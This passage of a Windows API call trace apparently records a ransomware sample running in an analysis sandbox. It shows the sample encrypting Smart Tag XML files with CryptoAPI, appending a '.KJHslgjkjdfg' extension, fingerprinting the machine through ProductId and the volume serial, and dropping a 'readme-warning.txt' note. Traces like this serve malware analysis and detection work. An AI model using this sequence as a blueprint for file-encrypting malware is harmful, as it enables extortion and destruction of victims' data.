lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0170.638] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0170.638] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0170.638] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0170.638] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0170.638] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0170.639] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.639] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa7f, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0xa7f, lpOverlapped=0x0) returned 1 [0170.639] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0xa80, dwBufLen=0xa80 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0xa80) returned 1 [0170.639] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.639] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0xa80, lpOverlapped=0x0) returned 1 [0170.639] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0170.639] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.639] SetEndOfFile (hFile=0x114) returned 1 [0170.640] GetProcessHeap () returned 0x990000 [0170.640] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0170.641] GetProcessHeap () returned 0x990000 [0170.641] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0170.641] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.kjhslgjkjdfg")) returned 1 [0170.652] CloseHandle (hObject=0x114) returned 1 [0170.653] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0170.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0170.662] GetProcessHeap () returned 0x990000 [0170.662] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0170.662] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0170.662] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0170.662] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xc, lpOverlapped=0x0) returned 1 [0170.673] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0170.673] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0170.673] GetProcessHeap () returned 0x990000 [0170.673] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0170.673] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0170.673] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0170.673] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0170.673] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0170.673] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0170.674] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0170.674] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0170.674] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0170.674] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0170.674] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0170.674] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.674] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2174, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x2174, lpOverlapped=0x0) returned 1 [0170.684] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x2180, dwBufLen=0x2180 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x2180) returned 1 [0170.684] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.684] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x2180, lpOverlapped=0x0) returned 1 [0170.684] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0170.684] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.685] SetEndOfFile (hFile=0x114) returned 1 [0170.688] GetProcessHeap () returned 0x990000 [0170.688] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0170.688] GetProcessHeap () returned 0x990000 [0170.688] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0170.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.kjhslgjkjdfg")) returned 1 [0170.689] CloseHandle (hObject=0x114) returned 1 [0170.689] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0170.689] GetProcessHeap () returned 0x990000 [0170.689] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0170.689] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0170.689] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0170.689] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0170.689] GetProcessHeap () returned 0x990000 [0170.689] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0170.689] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0170.690] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0170.690] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0170.690] GetProcessHeap () returned 0x990000 [0170.690] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b78c0 [0170.690] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0170.690] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b78c0, pdwDataLen=0x29deb98 | out: pbData=0x9b78c0, pdwDataLen=0x29deb98) returned 1 [0170.690] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0170.690] GetProcessHeap () returned 0x990000 [0170.690] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0170.690] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0170.690] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0170.690] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0170.690] GetProcessHeap () returned 0x990000 [0170.690] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0170.690] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0170.691] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0170.691] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0170.691] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0170.691] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0170.691] RegCloseKey (hKey=0x114) returned 0x0 [0170.691] GetProcessHeap () returned 0x990000 [0170.692] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0170.692] GetProcessHeap () returned 0x990000 [0170.692] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0170.692] GetProcessHeap () returned 0x990000 [0170.692] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0170.692] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0170.692] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0170.692] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0170.692] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.692] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.693] GetProcessHeap () returned 0x990000 [0170.693] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0170.693] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.693] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.693] GetProcessHeap () returned 0x990000 [0170.693] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b7c88 [0170.693] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\readme-warning.txt") returned 86 [0170.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0170.694] WriteFile (in: hFile=0x114, lpBuffer=0x9b7c88*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9b7c88*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0170.695] CloseHandle (hObject=0x114) returned 1 [0170.696] GetProcessHeap () returned 0x990000 [0170.696] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0170.696] GetProcessHeap () returned 0x990000 [0170.696] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7c88 | out: hHeap=0x990000) returned 1 [0170.696] GetProcessHeap () returned 0x990000 [0170.696] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0170.696] GetProcessHeap () returned 0x990000 [0170.696] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0170.696] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0170.696] GetProcessHeap () returned 0x990000 [0170.696] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9c88 | out: hHeap=0x990000) returned 1 [0170.696] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0170.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.699] GetProcessHeap () returned 0x990000 [0170.699] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0170.699] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0170.699] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0170.699] WriteFile (in: hFile=0x118, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x1, lpOverlapped=0x0) returned 1 [0170.701] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0170.701] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0170.701] GetProcessHeap () returned 0x990000 [0170.701] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0170.701] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0170.701] CryptDestroyKey (hKey=0x9b6668) returned 1 [0170.701] WriteFile (in: hFile=0x118, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0170.702] WriteFile (in: hFile=0x118, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0170.702] WriteFile (in: hFile=0x118, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0170.702] WriteFile (in: hFile=0x118, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0170.702] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0170.702] WriteFile (in: hFile=0x118, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0170.702] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0170.702] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0170.702] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.703] ReadFile (in: hFile=0x118, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x377ef, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x377ef, lpOverlapped=0x0) returned 1 [0170.707] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x377f0, dwBufLen=0x377f0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x377f0) returned 1 [0170.710] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.710] WriteFile (in: hFile=0x118, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x377f0, lpOverlapped=0x0) returned 1 [0170.711] CryptDestroyKey (hKey=0x9b6668) returned 1 [0170.711] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x378b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.711] SetEndOfFile (hFile=0x118) returned 1 [0170.715] GetProcessHeap () returned 0x990000 [0170.715] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0170.715] GetProcessHeap () returned 0x990000 [0170.715] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0170.715] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.kjhslgjkjdfg")) returned 1 [0170.722] CloseHandle (hObject=0x118) returned 1 [0170.723] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0 [0170.723] GetProcessHeap () returned 0x990000 [0170.723] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0170.723] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0170.723] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0170.723] CryptDestroyKey (hKey=0x9b6668) returned 1 [0170.723] GetProcessHeap () returned 0x990000 [0170.723] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0170.723] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0170.723] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0170.723] CryptDestroyKey (hKey=0x9b6668) returned 1 [0170.723] GetProcessHeap () returned 0x990000 [0170.723] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b78c0 [0170.723] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0170.723] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b78c0, pdwDataLen=0x29dee20 | out: pbData=0x9b78c0, pdwDataLen=0x29dee20) returned 1 [0170.723] CryptDestroyKey (hKey=0x9b6668) returned 1 [0170.724] GetProcessHeap () returned 0x990000 [0170.724] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0170.724] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0170.724] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0170.724] CryptDestroyKey (hKey=0x9b6668) returned 1 [0170.724] GetProcessHeap 